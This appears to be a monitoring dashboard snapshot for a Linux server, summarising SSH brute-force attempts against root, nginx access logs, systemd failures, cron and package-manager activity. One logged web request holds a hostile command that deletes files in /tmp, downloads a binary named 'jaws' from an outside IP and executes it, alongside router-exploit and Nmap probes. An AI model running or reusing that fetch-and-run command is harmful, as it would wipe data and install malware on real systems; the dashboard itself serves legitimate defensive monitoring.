Server Activity Dashboard

srv1675884.hstgr.cloud · live snapshot of recent server activity
Updated 2026-06-04T20:00:11.564610+00:00
Window starts 2026-06-04T08:00:11.564586+00:00
Uptime
up 2 weeks, 5 days, 10 hours, 47 minutes
Load
1.56 1.32 1.26
Memory
1.5Gi used / 3.8Gi total
Disk /
21G used / 49G total (43% used)
Kernel
6.12.0-124.52.3.el10_1.x86_64
Failed SSH logins
168

Security

SSH activity
Failed logins: 168
Top IPs
  • 144.31.224.182 · 139 hits
Recent auth events
  • Jun 4 15:23:20 srv1675884 sshd-session[1048924]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.31.224.182 user=root
  • Jun 4 15:23:22 srv1675884 sshd-session[1048924]: Failed password for root from 144.31.224.182 port 45330 ssh2
  • Jun 4 15:23:29 srv1675884 sshd-session[1048931]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.31.224.182 user=root
  • Jun 4 15:23:31 srv1675884 sshd-session[1048931]: Failed password for root from 144.31.224.182 port 40908 ssh2
  • Jun 4 15:23:38 srv1675884 sshd-session[1048940]: Invalid user vagrant from 144.31.224.182 port 43464
  • Jun 4 15:23:38 srv1675884 sshd-session[1048940]: pam_unix(sshd:auth): check pass; user unknown
  • Jun 4 15:23:38 srv1675884 sshd-session[1048940]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.31.224.182
  • Jun 4 15:23:40 srv1675884 sshd-session[1048940]: Failed password for invalid user vagrant from 144.31.224.182 port 43464 ssh2

Web

HTTP status mix
200: 113301: 23400: 10401: 27404: 60405: 3499: 14
Top IPs
  • 2a02:4780:12:3899::1 · 94 hits
  • 172.252.125.104 · 46 hits
  • 2607:8500:faca:de::140 · 15 hits
  • 216.73.216.66 · 12 hits
  • 77.37.47.24 · 8 hits
Recent access highlights
  • 125.166.106.5 - - [04/Jun/2026:15:09:21 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; HTTP/1.1" 400 157 "-" "-" "-"
  • 3.251.239.72 - - [04/Jun/2026:15:10:15 +0000] "HEAD / HTTP/1.1" 404 0 "https://www.netcraft.com/survey/" "Mozilla/4.0 (compatible; Netcraft Web Server Survey)" "-"
  • 103.98.130.207 - - [04/Jun/2026:17:27:41 +0000] "POST /boaform/adminformLogout//boaform/admin/formPing6 HTTP/1.1" 404 153 "-" "Mozilla/5.0" "-"
  • 2607:8500:faca:de::140 - - [04/Jun/2026:18:18:29 +0000] "GET /nmaplowercheck1780597108 HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" "-"
  • 2607:8500:faca:de::140 - - [04/Jun/2026:18:18:29 +0000] "POST /sdk HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" "-"
  • 2607:8500:faca:de::140 - - [04/Jun/2026:18:18:29 +0000] "GET /evox/about HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" "-"
  • 2607:8500:faca:de::140 - - [04/Jun/2026:18:18:29 +0000] "GET /HNAP1 HTTP/1.1" 404 153 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" "-"
  • 2607:8500:faca:de::140 - - [04/Jun/2026:18:18:32 +0000] "GET / HTTP/1.1" 404 153 "-" "-" "-"

System

Recent service / journal activity
  • Jun 4 20:00:04 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 20:00:04 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 4 20:00:07 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 127740.
  • Jun 4 20:00:07 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 4 20:00:07 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 20:00:07 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.
  • Jun 4 20:00:11 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Scheduled restart job, restart counter is at 127741.
  • Jun 4 20:00:11 srv1675884 systemd[1]: Started hermes-dashboard-auth-proxy.service - Hermes Dashboard Basic-Auth Proxy.
  • Jun 4 20:00:12 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
  • Jun 4 20:00:12 srv1675884 systemd[1]: hermes-dashboard-auth-proxy.service: Failed with result 'exit-code'.

Maintenance

Cron
  • Jun 4 18:01:01 srv1675884 CROND[1054275]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 4 18:01:02 srv1675884 run-parts[1054278]: (/etc/cron.hourly) starting 0anacron
  • Jun 4 18:01:02 srv1675884 run-parts[1054284]: (/etc/cron.hourly) finished 0anacron
  • Jun 4 18:01:02 srv1675884 CROND[1054274]: (root) CMDEND (run-parts /etc/cron.hourly)
  • Jun 4 19:01:01 srv1675884 CROND[1056312]: (root) CMD (run-parts /etc/cron.hourly)
  • Jun 4 19:01:01 srv1675884 run-parts[1056315]: (/etc/cron.hourly) starting 0anacron
  • Jun 4 19:01:01 srv1675884 run-parts[1056321]: (/etc/cron.hourly) finished 0anacron
  • Jun 4 19:01:01 srv1675884 CROND[1056311]: (root) CMDEND (run-parts /etc/cron.hourly)
Package manager
  • 2026-06-04T19:12:45+0000 DEBUG baseos: using metadata from Thu 04 Jun 2026 12:20:05 PM UTC.
  • 2026-06-04T19:12:46+0000 DEBUG reviving: 'crb' can be revived - repomd matches.
  • 2026-06-04T19:12:46+0000 DEBUG crb: using metadata from Thu 04 Jun 2026 12:20:32 PM UTC.
  • 2026-06-04T19:12:47+0000 DEBUG reviving: 'extras' can be revived - repomd matches.
  • 2026-06-04T19:12:47+0000 DEBUG extras: using metadata from Thu 04 Jun 2026 12:20:25 PM UTC.
  • 2026-06-04T19:12:49+0000 DEBUG reviving: 'epel' can be revived - metalink checksums match.
  • 2026-06-04T19:12:55+0000 DEBUG epel: using metadata from Thu 04 Jun 2026 12:33:55 AM UTC.
  • 2026-06-04T19:12:55+0000 INFO Metadata cache created.

Highlights

Data sources: /var/log/cron, /var/log/secure, /var/log/messages, /var/log/nginx/access.log, /var/log/dnf.log.